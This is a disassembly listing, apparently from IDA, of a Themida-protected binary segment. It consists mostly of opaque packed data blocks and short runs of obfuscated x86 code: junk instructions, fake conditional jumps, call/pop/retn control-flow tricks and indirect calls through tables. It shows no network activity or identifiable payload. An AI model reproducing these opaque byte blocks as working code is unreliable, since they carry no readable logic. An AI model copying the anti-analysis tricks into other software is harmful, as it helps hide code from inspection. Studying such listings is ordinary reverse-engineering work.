dd 0F479A5F1h, 0C00B8B23h, 127840Fh, 0C6FC0000h, 0E42C2D85h
dd 0E8605607h, 6, 474AC343h, 0E4807633h, 0FA8A5FEBh, 30DF6861h
dd 0E960A9C5h, 8, 7737F00h, 0BFC778BDh, 61F28B66h, 2141B5FFh
dd 8E907E4h, 30000000h, 7177F341h, 8DD541BAh, 0E7B0A785h
dd 178D0F07h, 0E9000000h, 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh
dd 7D4A11FAh, 0D0FF26A4h, 8DF950F8h, 0E426C18Dh, 0F951F907h
dd 0AE9046Ah, 34000000h, 198CD795h, 0DB3B86C7h, 100068FBh
dd 0FFF80000h, 0E415DDB5h, 0D0FFF907h, 18E0Fh, 0FF80000h
dd 184h, 0BD8BF900h, 7E415DDh, 0C2BF0F60h, 0CE961h, 8D0F0000h
dd 0D81FA2DDh, 0C1E7669Ch, 7F03E409h, 6060F83Ch, 0A7B7D081h
dd 59521F82h, 47BB5761h, 59578BCDh, 0F8C78161h, 60000000h
dd 68F0Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
mov edi, ebx
popa
mov dword ptr [edi+24h], 60000020h
jnz loc_5F220F
jnp loc_5F220F
jmp loc_5F220F
; ---------------------------------------------------------------------------
push es
inc ecx
imul eax, [ecx], 2908D241h
xor bh, [esi+71CDA0E3h]
adc bl, ah
loc_5F220F: ; CODE XREF: Themida_:005F21EEj
; Themida_:005F21F4j ...
jmp loc_5F2221
; ---------------------------------------------------------------------------
dd 44C58649h, 956F7C83h, 316951D0h
db 0ECh
; ---------------------------------------------------------------------------
loc_5F2221: ; CODE XREF: Themida_:loc_5F220Fj
lea ebx, [ebp+7E40405h]
jmp loc_5F2240
; ---------------------------------------------------------------------------
dd 773DDE33h, 0FA99770Bh, 0E907DF31h, 0CF0F3969h, 4F152F0Bh
; ---------------------------------------------------------------------------
loc_5F2240: ; CODE XREF: Themida_:005F2227j
jle loc_5F224F
pusha
push ebx
pop edx
mov edi, 5B9722D2h
popa
loc_5F224F: ; CODE XREF: Themida_:loc_5F2240j
mov eax, [ebx]
cmc
pusha
jmp loc_5F2261
; ---------------------------------------------------------------------------
dd 0AB789176h, 0E54A2930h
db 6Ch
; ---------------------------------------------------------------------------
loc_5F2261: ; CODE XREF: Themida_:005F2253j
jo loc_5F2269
mov edx, eax
loc_5F2269: ; CODE XREF: Themida_:loc_5F2261j
popa
or eax, eax
jz loc_5F22B5
pusha
mov ch, 3Ah
stc
popa
jmp loc_5F2281
; ---------------------------------------------------------------------------
dd 6A51938Eh
db 0A0h
; ---------------------------------------------------------------------------
loc_5F2281: ; CODE XREF: Themida_:005F2277j
mov eax, [eax]
pusha
pusha
jmp loc_5F229D
; ---------------------------------------------------------------------------
sbb [ecx], esi
mov esp, 0CEB7629Dh
xor [edx+62A14A4Dh], dh
sar dword ptr [ebp-4Dh], cl
cli
mov bl, 9
loc_5F229D: ; CODE XREF: Themida_:005F2285j
popa
adc si, 1641h
popa
pusha
cmc
adc edi, 1BD275E1h
popa
mov [ebx+4], eax
pusha
movzx ebx, si
popa
loc_5F22B5: ; CODE XREF: Themida_:005F226Cj
mov ecx, 234CF6h
lea ecx, [ebp+7EAFEB4h]
push 0
push edx
call sub_5F22CB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F22CB proc near ; CODE XREF: Themida_:005F22C3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5F22CB endp
; ---------------------------------------------------------------------------
db 65h
dd 4D5ACE41h, 23720762h, 6850Fh, 0BD8B0000h, 7E40DB9h
dd 53D8B70Fh, 718D895Eh, 3307E41Bh, 0E4140D85h, 0A185C707h
dd 0B007E42Dh, 0F000059h, 38Ah, 0D88B6600h, 22B985C7h
dd 7E4h, 9D890000h, 7E41D55h, 2291B5FFh, 0FE8B07E4h, 306195FFh
dd 0B58907E4h, 7E40A11h, 95FF006Ah, 7E40E41h, 6FEBC08Bh
dd 1BA9B049h, 97030C6Bh, 496705B5h, 52F3A68Bh, 578DB984h
dd 0FA4E6EE6h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h, 0E451A599h
dd 37F7625Dh, 314DC37Ch, 3664DE08h, 3893449h, 0EAD71302h
dd 4A7CF0C5h, 72EC157Ah, 852F3BAAh, 0CE6CBB1Ah, 1980141Fh
dd 68A80D53h, 0EAF4BA02h, 0DA267E44h, 59327264h, 17FA4F96h
dd 0B2AD8715h, 6CE3528h, 8D912D1Eh, 0EB00088Dh, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0EA91F8E5h, 5E8BFh, 0E6EE0000h, 8B171F47h, 0E40A5DB5h
dd 0D4BB5A07h, 8948A04Eh, 0E41B718Dh, 0C7C68B07h, 0E42DA185h
dd 633407h, 0CA816600h, 85C75C10h, 7E422B9h, 0
dd 0AE860h, 0FDDB0000h, 9B1B399Dh, 962158B3h, 19159D8Bh
dd 35807E4h, 0E41C75BDh, 0B5FF6107h, 7E40E15h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F1C35646h, 0A50B192h
dd 6049F6DEh, 58C88A51h, 0F555B7BBh, 95FF6105h, 7E43061h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h
dd 68093D90h, 5E56046Dh, 95FF006Ah, 7E40E41h, 5EEBC08Bh
dd 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 0F6A8BBE6h, 0CD298D23h
dd 0CD3D6C60h, 0E0D863ACh, 0E6E88350h, 0F987A1A9h, 0AD7AB257h
dd 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h
dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 5C0E9114h, 6F3BEA35h
dd 0E4AF1D1Ah, 13FDE9A3h, 3D33A4B8h, 0DE8D73Ah, 9D000000h
dd 0FE88F876h, 0E7C01150h, 0B287548Bh, 6830Fh, 85890000h
dd 7E40065h, 9BB8665Bh, 0B7C38178h, 8900006Dh, 0E422C985h
dd 73CEBA07h, 0F2811DEBh, 1DEB6884h, 139E2FBEh, 8B0B8B63h
dd 0E40FA1BDh, 6F18107h, 662C3A9Eh, 20D7D881h, 20ABC181h
dd 0BD893575h, 7E41BD1h, 0ECB6F181h, 0B8660B81h, 8A514CB9h
dd 89038FE5h, 0E40939BDh, 89EB8107h, 6624B90Ch, 0C381F88Bh
dd 24B90C85h, 9075B866h, 1EA81h, 850F0000h, 0FFFFFFADh
dd 6F9858Bh, 0CE807E4h, 17000000h, 0BE1FD8B8h, 0FA01546h
dd 8B278E4Ch, 0E431CD95h, 60535E07h, 867BE781h, 0E2800AACh
dd 815B6157h, 6736C6h, 3946B900h, 9BB83CEAh, 0F000019h
dd 28Dh, 0FF25B300h, 0B5B53136h, 5F07E421h, 0F78104B1h
dd 0D923BA2h, 2D599D89h, 0C78107E4h, 0F049B44h, 0C781D4B2h
dd 10AEF376h, 57DBB70Fh, 991958Bh, 68F07E4h, 0DABF0F57h
dd 4EE835Ah, 18D0Fh, 83F50000h, 850F01E8h, 1Ch, 18B18D89h
dd 42E907E4h, 0E6000000h, 1BF32575h, 4B2013E5h, 5A09BF67h
dd 483B1DCEh, 0CE8h
db 0
byte_5F2635 db 74h, 0F6h, 17h ; DATA XREF: Themida_:005851E4o
dd 0C0B43181h, 79731960h, 0A58589BAh, 5B07E425h, 0FFFF7EE9h
dd 8C349FFh, 0B654AC30h, 0B06DFC88h, 270F81CDh, 417F9EAAh
dd 12E8A0h, 76500000h, 28D94AD5h, 4FFCA2h, 0BDCA5BFBh
dd 0F80CD2DDh, 8F0Fh, 29590000h, 0E405819Dh, 91C18107h
dd 0E900005Bh, 0Ch, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh, 16B1B8h
dd 820F6000h, 6, 2B618D29h, 958907E4h, 7E400A9h, 8B31FF61h
dd 0E4224DB5h, 81605B07h, 0D46CADD2h, 0C985895Eh, 6107E40Eh
dd 0B368F381h, 0F48A7903h, 4130F381h, 0F7811788h, 485C7B9Ah
dd 5CCF381h, 950938AEh, 7E41F39h, 0B5291989h, 7E41ECDh
dd 6604E983h, 0E881F98Bh, 1, 1E850Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
jmp loc_5F2737
; ---------------------------------------------------------------------------
db 89h, 35h, 75h
dd 6BB49232h, 0C1CC46F7h, 9FA94C80h, 0DEE24596h, 2025B589h
dd 86E907E4h, 0C8FFFFFFh, 0ABF85F9Ah
; ---------------------------------------------------------------------------
mov al, 0DBh
pop esi
loc_5F2737: ; CODE XREF: Themida_:005F270Cj
lea ecx, [ebp+7EB0302h]
mov [ebp+7E42691h], ecx
mov [ebp+7E41B71h], ecx
mov [ebp+7E42739h], edx
mov [ebp+7E4064Dh], edx
mov dword ptr [ebp+7E42DA1h], 69B4h
add [ebp+7E42A11h], ebx
mov dword ptr [ebp+7E422B9h], 0
or ebx, [ebp+7E42D09h]
push dword ptr [ebp+7E40919h]
add bx, 0B652h
call dword ptr [ebp+7E43061h]
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5F27F0
; ---------------------------------------------------------------------------
pop eax
mov ds:63CD2A3Dh, eax
retf
; ---------------------------------------------------------------------------
db 29h, 83h, 53h
dd 78B3BB5Fh, 0D8DE146Dh, 321AC215h, 0A4C98731h, 2CA821F2h
dd 0E753CBDDh, 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 17F8BB16h
dd 49513003h, 78900CDh, 4977BBE3h, 0A79412FBh, 16407C46h
dd 352B51E2h, 0D67E746Fh, 3E9696FEh, 0D7115128h, 37D8A028h
dd 394C7057h
; ---------------------------------------------------------------------------
loc_5F27F0: ; CODE XREF: Themida_:005F2790j
lea ecx, [ebp+7EB0417h]
stc
mov [ebp+7E41B71h], ecx
push 0
push ecx
call sub_5F2808
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2808 proc near ; CODE XREF: Themida_:005F2800p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5F2808 endp
; ---------------------------------------------------------------------------
dd 0FF728BC5h, 0D6CE0582h, 85C7F88Bh, 7E42DA1h, 63DCh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DCC35545h
dd 0A4C18881h, 617856Ah, 28C0F57h, 8B000000h, 85C75BC1h
dd 7E422B9h, 0
; ---------------------------------------------------------------------------
mov [ebp+7E40539h], esi
push dword ptr [ebp+7E41E8Dh]
push 0
push edx
call sub_5F287B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F287B proc near ; CODE XREF: Themida_:005F2873p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5F287B endp
; ---------------------------------------------------------------------------
and eax, 8101A986h
sti
sub bl, [ebx+7Bh]
call dword ptr [ebp+7E43061h]
clc
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5F28C3
; ---------------------------------------------------------------------------
db 2Dh
dd 8C739695h, 0CEBE5755h, 8855CF79h, 9B9C5B55h, 0C334BB02h
dd 1E934D45h
db 0D0h, 0A0h, 0B0h
; ---------------------------------------------------------------------------
loc_5F28C3: ; CODE XREF: Themida_:005F28A5j
jmp loc_5F28F2
; ---------------------------------------------------------------------------
dd 0CDD7FBEh, 9 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5F28F2: ; CODE XREF: Themida_:loc_5F28C3j
jmp loc_5F34DA
; ---------------------------------------------------------------------------
push 7EB05DCh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EB0703h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EB090Ah
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EB0A6Fh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EB0BB8h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EB0D76h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7EB0EA6h
jmp loc_598345
; ---------------------------------------------------------------------------
db 8Bh, 0CFh, 89h
dd 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh, 7CC1EA1Eh
dd 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h, 9274A487h
dd 0C5792400h, 327CD9C4h, 96E02921h, 65A9A7AFh, 286CE472h
dd 78788CD5h, 7CA1CE49h, 0DACD4172h, 98A0D37Bh, 49307A76h
dd 950F400Ah, 0FA776FB2h, 0E3273423h, 0FA54C0F4h, 0BA952823h
dd 5E59FEAEh, 407D5Ah, 39810000h, 0FA5D2656h, 32152323h
dd 23FA5D02h, 80B1FA07h, 0C8C0E601h, 979C9B7Eh, 0D27F23F9h
dd 3487CB83h, 84B8A7EBh, 0EC23F997h, 7AD40618h, 0FA99593Ah
dd 0A3BF90C9h, 5A5E13CBh, 0D270h, 7CD96F00h, 0B89B8ED2h
dd 0FA5B4E92h, 381D1054h, 6CD2E316h, 5F1C1593h, 102558F6h
dd 0DFC50945h, 0ADDDC0C9h, 0B21C1592h, 2F125CA5h, 23F9A774h
dd 81F72A37h, 9F265639h, 162323F9h, 0F8292B2Dh, 84CEDAECh
dd 0E111F43Ch, 0DE23F99Eh, 478BA0D1h, 4C2BE088h, 4E97B59Fh
dd 1A3C1D04h, 0D85283D6h, 9EE862F1h, 83B4A2B7h, 62480B20h
dd 21135CF4h, 0C2A659DEh, 0D1252246h, 0B5000009h, 6B80B3A5h
dd 203568EEh, 0D0E51834h, 8499CC88h, 14487BCFh, 9DADA6B7h
dd 5002556Ah, 24E081Dh, 0B39BBACFh, 0CEB11B80h, 2400939Eh
dd 78E6E79Bh, 8F1D4D30h, 15221C15h, 0A3D82D01h, 2D5E573Dh
dd 0D80B3F14h, 89BC92C3h, 24282C13h, 42E3C2E0h, 0D72206E9h
dd 78DE5D8Eh, 5C8DC791h, 4E313E50h, 1C158F1Eh, 7BC50E1Bh
dd 0F9979998h, 45899623h, 0F9982256h, 0A0B2A523h, 60EA695Ch
dd 0D877121Ch, 3B14A7ABh, 5EAA7F2Fh, 0F7DA225Ah, 23F993C7h
dd 0E686B7C4h, 0D0h, 327CD9E5h, 99E32C24h, 78A9A1B2h, 0D99EB004h
dd 32402F4Ch, 8CC7E011h, 0A3AADABDh, 76021C15h, 0F4D2DC98h
dd 16441C83h, 3BC2FC44h, 76E1CA13h, 0FC4598DCh, 485264B8h
dd 24523E0Dh, 9357BD38h, 68B17B60h, 63BC2237h, 262F1C16h
dd 75E0F528h, 99AF95D9h, 0F9604791h, 95C6195Dh, 777D381Bh
dd 853223FAh, 63982D4h, 96E0E8FEh, 0E1355EB3h, 0FA44512Bh
dd 0CC104613h, 0E7CE4879h, 96ABDE6Ch, 5A9B8DBDh, 0C6C2A72Dh
dd 8AAA5A2h, 7EDC0000h, 0C792A7DAh, 0D475C8Fh, 61F70C3Fh
dd 0A8ABC0F3h, 903B6FA2h, 91C486CDh, 4477DB7Ch, 0F629272Fh
dd 0A7DA74E1h, 0C5F5D842h, 0CA240095h, 7AD91516h, 15279DD0h
dd 0FBA11A2Bh, 0D2EB1C94h, 1D98CB83h, 80077CD9h, 0BC1C06F8h
dd 2529593Ch, 19261C16h, 0EF4387D0h, 2494C4A7h, 40171C16h
dd 147BCE12h, 98BDD607h, 557B83B6h, 2530135Dh, 0EA23FA3Eh
dd 0AFA699DDh, 0FE576C9Fh, 0D1B80C50h, 0BAEACD88h, 0BF23FA1Dh
dd 0D22569B2h, 40798CA1h, 59FCAB40h, 95BEB1F5h, 0C7104215h
dd 71DE7983h, 0A0B29A14h, 8E631AEDh, 0E51E4F74h, 0ABD87D6Ah
dd 0EBC16E4Bh, 1963AC75h, 0BC632632h, 88D89260h, 196CB0F9h
dd 0FD0F85E8h, 489CE436h, 3F588955h, 5F43816h, 9CB880D2h
dd 6683CC11h, 0B62C5FEFh, 272C8ACFh, 438CDF23h, 0F25CF912h
dd 8088BFAEh, 0B5A19CB8h, 0F464579Bh, 0E5C81C60h, 9B729BB5h
dd 209FADBAh, 3E6E512Fh, 3B9B729Ch, 5DD2E52Eh, 0EE60F5F2h
dd 9FAFA6BBh, 5753755Bh, 53B3C50Dh, 474C39F5h, 48C7DC0Dh
dd 0E3A357AEh, 0EB2F1F36h, 4AE48498h, 0B1CAE06Ah, 1F371E68h
dd 959D0031h, 4A2D7773h, 9CB3132Bh, 0F0DF2330h, 9B72D2BDh
dd 26095125h, 9B72D2F6h, 3E0E46F3h, 755EA7FAh, 53E6FE1h
dd 0DB4E1E4Ah, 0F5ED22E7h, 0EC000003h, 8EC89178h, 0FCB1AD5Dh
dd 0E62113EAh, 9D207CA7h, 20270A54h, 0B23F9C4h, 89CDB4FEh
dd 0FF3083C7h, 85DACE59h, 0C4EAA508h, 0E3272B2Ch, 0B5FD4790h
dd 85A2D2h, 1E3025A3h, 132087DAh, 928568E2h, 32AAE4A7h
dd 64D707EAh, 0C7D49D24h, 252FF96h, 0D7BD014Ah, 5D6FB9B1h
dd 0AACF9EF9h, 57876A77h, 549D23E7h, 0D1B4FE47h, 9D23E6A1h
dd 0E660919Eh, 0B977603h, 482B39A5h, 0A2FF7718h, 75BF0815h
dd 71E7C78Eh, 52679AE3h, 0A8AEAB03h, 6A9E6D5Fh, 0C2E63BBFh
dd 6A3C5h, 0E177E300h, 96C099AEh, 46064E63h, 0FA5AFE13h
dd 0A9A1B2C7h, 0D4994276h, 8398CB7Fh, 364B7ED4h, 0E8FD3020h
dd 49AEE16Dh, 97CCFCDFh, 1DD12400h, 0C7C0E61Ch, 158EB4E4h
dd 63ACB91Ch, 0BEEED119h, 0BB1C158Eh, 8E9ACAADh, 929F1C15h
dd 569E1849h, 78739244h, 233EBE2h, 0F9F3E2EDh, 977AC223h
dd 23F9E367h, 2A0D5764h, 23F9E3FAh, 2AC1F2FFh, 6AECD31Dh
dd 1E4FA2E6h, 0B09EB7AAh, 78D67F66h, 3CB0E134h, 2B0E5632h
dd 23F9E3FBh, 0DF0FF200h, 0DC23F9E3h, 1C5586CFh, 0A5ADC333h
dd 0D1E5745Bh, 5182CB85h, 0FCE9F4D7h, 919E2BDDh, 75D6E85Eh
dd 3905B93h, 5EF71041h, 4658ACF0h, 11C701C1h, 7891C2E1h
dd 152771DDh, 0D65A6EF4h, 0E2568713h, 94C6AEFh, 0C5B8FC45h
dd 5C79BD8Fh, 0F01B68E7h, 0D4E6A4ABh, 6E45DA4Fh, 0E5FE2FF4h
dd 96163E70h, 0F6498DBDh, 0CD1669ADh, 2293B83h, 0F95B8886h
dd 6067977Ch, 57641C16h, 54DC326h, 1660F222h, 0B9EAF71Ch
dd 0BA714921h, 23EEE5Dh, 0E6ED0000h, 367EC8C0h, 84C0A4Fh
dd 7C6F84B5h, 1C240093h, 9E42280Ah, 26572106h, 5138828Fh
dd 154802h, 0C4B3F753h, 2400988Fh, 5202563Dh, 614D0821h
dd 221559F3h, 88DB1F37h, 0FD04F63Fh, 87CA945Dh, 53E6663h
dd 12480000h, 5BFE1346h, 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh
dd 4A7DB0Eh, 0FD301A39h, 0B0E36FE8h, 6295BB9Bh, 1346084Dh
dd 316144AEh, 2E240099h, 6678797Ah, 0B8CFD3F9h, 1C2859E7h
dd 3E16FD0Ah, 9277CA0Eh, 1C15DC62h, 0C7115A67h, 93BF987Fh
dd 0E15A4D62h, 0D0DD2400h, 851388Ch, 51041D4Eh, 8CCCB3FDh
dd 1F3497C8h, 0E1D41836h, 6196DA74h, 6E55331Ch, 0E0769FEAh
dd 170246DCh, 6378ACEh, 0B3E668EDh, 518F4F1Fh, 16AEC5Ah
dd 0D9EB0000h, 9B8ED27Ch, 596194BAh, 0EF13B37h, 23F9A2CBh
dd 9279C3D0h, 0B2A28BC3h, 6F5699Ah, 23F9A1D2h, 0BCA8A73Ah
dd 5A5E8CECh, 70759FB1h, 2F1B6EDBh, 2F5EFEh, 0E65D0000h
dd 367EC8C0h, 8EDB0BEEh, 0D3E01C15h, 978E8DA2h, 0C7AE23F9h
dd 0FA91C290h, 86BAA9EDh, 0EE23F997h, 2078F45Bh, 475A5EAAh
dd 0ABh, 77CD946h, 6E5A00F4h, 0A2E62FF7h, 62F0674Eh, 819ACB1Eh
dd 0D17DD8D2h, 6C74A487h, 6C791C16h, 63F2D923h, 5346BAEBh
dd 15084C02h, 0CADB0E40h, 1C167164h, 2D60EE67h, 0BD070325h
dd 0FD5003DAh, 115B6823h, 0EE21292Ah, 0DED07AD9h, 0BAC31639h
dd 0F5423F63h, 91000003h, 475C8FC9h, 0FC114412h, 0ACC1F458h
dd 6075A8ACh, 0F02457F3h, 79D182CBh, 2C263146h, 0DE72E4F9h
dd 8FBF96ABh, 0AA8DF75Ch, 2400997Ah, 0D9CACB7Fh, 9F86D07Ah
dd 5F5296B4h, 0E1125BF9h, 97EC697Eh, 7B7AA814h, 20539C8Bh
dd 4F7F62AAh, 4C1C15B1h, 0D98F0E3Fh, 9B8ED27Ch, 0EB6194BAh
dd 0BC005404h, 1A2C3869h, 957CC40Eh, 465B8CBEh, 23F9C0C7h
dd 24135764h, 23F9BFF2h, 9565EA2Fh, 0E52D7773h, 0BF8ABA9Dh
dd 0E28F23F9h, 479ADE76h, 39B8CDFEh, 0F62BDDF1h, 8ED505E8h
dd 0CDDA1C15h, 93DB5184h, 158E80B0h, 89D07D1Ch, 0D45384CDh
dd 8ED27CD9h, 0C7AAF23Ah, 1C158E97h, 72A28794h, 771C158Eh
dd 78D2816Ah, 97B0E134h, 555D90BEh, 0AED3733h, 23F9A2C7h
dd 8C7BBFCCh, 23F9A158h, 46222DC0h, 5A5E8C16h, 2915h, 66781400h
dd 0D3C656C0h, 4753849Ah, 0FCDF2921h, 23FA4AFDh
dd 625195A2h, 23FA492Eh, 204C0396h, 5A5E1948h, 0F6EFh
dd 7CD9EE00h, 8EBEEED1h, 1C391C15h, 75BECB32h, 95153E31h
dd 7CAC8FC2h, 811C158Eh, 9EE22B74h, 60A4AAABh, 81B6FA0Ch
dd 9EB87D1Ch, 6DB1A3B5h, 85D0E91Ah, 1F8596C9h, 0E1C15A5h
dd 0F3230647h, 0F81C15A3h, 5A6FA2EBh, 290F53FBh, 0DEC10B07h
dd 23F9B297h, 460F4A31h, 0F9AA3363h, 0E22B3823h, 67374B9Eh
dd 3BF16D5Eh, 4D5AF122h, 84D4BB03h, 0A0BBEBD0h, 0FADD23F9h
dd 23F9A0CAh, 4E5BC2CFh, 5D44BA1Dh, 1A2657F9h, 0CFB2FCF4h
dd 2BE08AF2h, 4836956Dh, 0ED57AC9Ch, 0E0735AA4h, 3122376Ah
dd 62062719h, 6E92C2A6h, 23771h, 4D0B4F00h, 254051Ah, 0B29ABACFh
dd 66EE6A7Fh, 15351E33h, 400DAEE2h, 0EF043713h, 0A2B7EA68h
dd 54699CB4h, 0B51A4D01h, 9C38684Bh, 81352400h, 0C5917880h
dd 2D9027C0h, 82CB140Ah, 4F93BD99h, 0A1B2CBFCh, 0F46176A9h
dd 0E6AC275Ah, 367EC8C0h, 448064Fh, 0C08CC8B1h, 0E3F8297Ch
dd 23F997E4h, 2276BAC7h, 6575EF10h, 467718A6h, 0F9BFFD31h
dd 7DD26523h, 5E92B9F1h, 59FDE45Ah, 0E26C6F7h, 25000001h
dd 8BC59178h, 8F2E5E41h, 1E2B1C15h, 0CD81D4EDh, 685A7183h
dd 0C161B0B0h, 4071BA94h, 0D07AD9CCh, 9426388Ch, 0B1E1C4C7h
dd 0AE1C15FEh, 9EEB8DA1h, 80E6FB2Ch, 6B1C164Ah, 0BB3164EAh
dd 33B2DDA9h, 0C9FAEF59h, 65A9A5B0h, 6696697Fh, 0E978EC7Bh
dd 23065099h, 23F9DFDCh, 0FF5105ECh, 0A03768BBh, 36586093h
dd 0DB265639h, 0E57623F9h, 0A3A86B00h, 0ACF50269h, 20331A62h
dd 6293E62Ah, 0E080114Dh, 6FE9962Bh, 54EA1E5h, 7C6173BBh
dd 0B3F9521Eh, 350699Ah, 4016FD47h, 202E2710h, 0DC778CEFh
dd 3AA77C6Eh, 0E90DC2A7h, 107ECh, 7DDB7F00h, 3224354Ah
dd 0E26AEAFFh, 96BE9AAFh, 45054E63h, 70FDDE12h, 1F3467E3h
dd 0D2E71A38h, 8499CC84h, 0E54A7DD1h, 9C68987Bh, 0B1652400h
dd 0C69178B0h, 8E78A88Bh, 68751C15h, 7ED5EE1Fh, 0D18499CCh
dd 0F5D87BDDh, 1C158EC5h, 3074BDCAh, 80B093DDh, 7D1C158Eh
dd 0F6DD2770h, 5ABDEE5Eh, 0D27CD9DFh, 2D5D4088h, 321C158Fh
dd 8D80F425h, 4B5386C8h, 19492C25h, 941C158Fh, 1C2990C4h
dd 8EBFEFD2h, 0AFBC1C15h, 42391C66h, 0ED240093h, 0ACA99CE0h
dd 0FB5A6FA2h, 12200F53h, 0F82F3702h, 74E1FE51h, 0C392A7DAh
dd 0F977A78Ah, 677428F2h, 0FA0A3A1Dh, 20F28F2h, 0D68275B9h
dd 9EC347Eh, 28F2F9D9h, 2498C9D6h, 0B2D07F1Ah, 3E7AC8A0h
dd 4071B1A0h, 0D6202E27h, 267BAB8Eh, 738028F3h, 8BCADF42h
dd 0D76779C3h, 0E06CE86Ch, 24951CCh, 5189FBEEh, 8BBCE51Bh
dd 78DCC317h, 0C3D90D4h, 3E9h, 3A69EE00h, 93D781D9h, 5599B5A0h
dd 185CF462h, 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h
dd 0E226262Eh, 0A8EC6AEFh, 4EC816Ah, 89000000h, 89512434h
dd 4C181E1h, 83000000h, 0C8704E9h, 0C895C24h, 39936824h
dd 2C890000h, 0FBBE5624h, 8341B419h, 0F681FFC6h, 0BD61945h
dd 8106EEC1h, 0C28CB0F6h, 5EF18906h, 242C8B54h, 6804C483h
dd 3C49h, 0BB241C89h, 8, 0B89EB01h, 242C8B5Bh, 81E28952h
dd 4C2h, 4C28300h, 5C241487h, 592434FFh, 4C481h, 6EE90000h
dd 75FFFA4Eh
db 0F8h, 81h
; ---------------------------------------------------------------------------
loc_5F34DA: ; CODE XREF: Themida_:loc_5F28F2j
mov eax, 7EB0FD2h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 80h
dd 0AA7E9D26h, 611F8113h, 59626496h, 5B22BDE5h, 0C04726FFh
dd 0C10144AAh, 0AC3A14B8h, 972C9470h, 3448C42Ah, 8F30A0AAh
dd 0C11A35DAh, 61650547h, 462D2DBDh, 60269FAh, 4611614Dh
dd 0E976BCCDh, 25h, 7C59F37Ah, 8 dup(0)
dd 4DFE900h, 0BB680000h, 0E907EB11h, 0FFF96D2Bh, 0EB124E68h
dd 6D21E907h, 0F668FFF9h, 0E907EB13h, 0FFF96D17h, 0AD41633Bh
dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h
dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A9B0956Ah
dd 6DFC4113h, 0B9923092h, 0A0492E99h, 9C051442h, 7995708Ah
dd 7E967341h, 0EAC4CBEAh, 8B9F1D9Ah, 84ED13A6h, 8CDC9F4Ch
dd 5A6B13A6h, 0E58D722Ah, 594AD877h, 6A000003h, 63E0EFCCh
dd 13A6809Ch, 4078D13Ah, 217A9872h, 0F4923A0Fh, 589BFB1Bh
dd 0D9D187E1h, 64A2CDDFh, 0ADFDB1DEh, 0A6836230h, 0BEC73013h
dd 0C3FDB1B3h, 866200EEh, 0D99346Ch, 0DF021434h, 31AEFEB0h
dd 16EF03D3h, 290038A1h, 7BF84866h, 1E8B3F5Ch, 0D371C12Ah
dd 8A3DBF9h, 18B618F6h, 0F40E203Eh, 556BFF17h, 0E30C6078h
dd 745CEF75h, 358AE34h, 39110000h, 946D8317h, 0EECAE074h
dd 4B2A40D4h, 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h
dd 0BF536947h, 20B4CCA9h, 0BB40BD6Dh, 1713A9B1h, 424D43D2h
dd 7D9F1C6Ch, 1313A9B0h, 0B14136B3h, 910E13A9h, 13A9B1EAh
dd 45AEFF68h, 9C3A9CECh, 13BA1BEh
dword_5F3698 dd 64257876h, 8AA27F0Bh, 67835E78h, 805BF9D3h, 7F912C64h
; DATA XREF: Themida_:0058261Co
dd 366E8A65h, 56830989h, 0E3BE5CECh, 94F48FC7h, 98D55EB4h
dd 163042F5h, 0EE101A39h, 5115D73Dh, 0A955A4F8h, 0D6166A15h
dd 2C550h, 0AACCA400h, 7270016h, 67815D73h, 0CADEBDD3h
dd 29452036h, 1D36BC95h, 7C922642h, 0DAF084A2h, 3C52E6FCh
dd 0B3475Fh, 0B22CD350h, 65AA13A9h, 75424DD6h, 42A003F8h
dd 9DB99414h, 3A8AE34Ch, 0A9B063BDh, 53D03213h, 13A9B1ACh
dd 0D0AFC12Ah, 0F9822F67h, 1A13A9B1h, 1CEA2240h, 8DF1293Dh
dd 0C41C5410h, 34CBF3B3h, 0A1D8710Ch, 1E4h, 1DE25FC1h
dd 0B913A9B9h, 56693E50h, 5B296179h, 0B416667Eh, 0E71F3B16h
dd 0A01AE14Ch, 0A27D1442h, 0BACC3586h, 4320BE98h, 99F6192Bh
dd 0C563C515h, 6742CEEAh, 4E40394Bh, 513A6B3h, 69974A93h
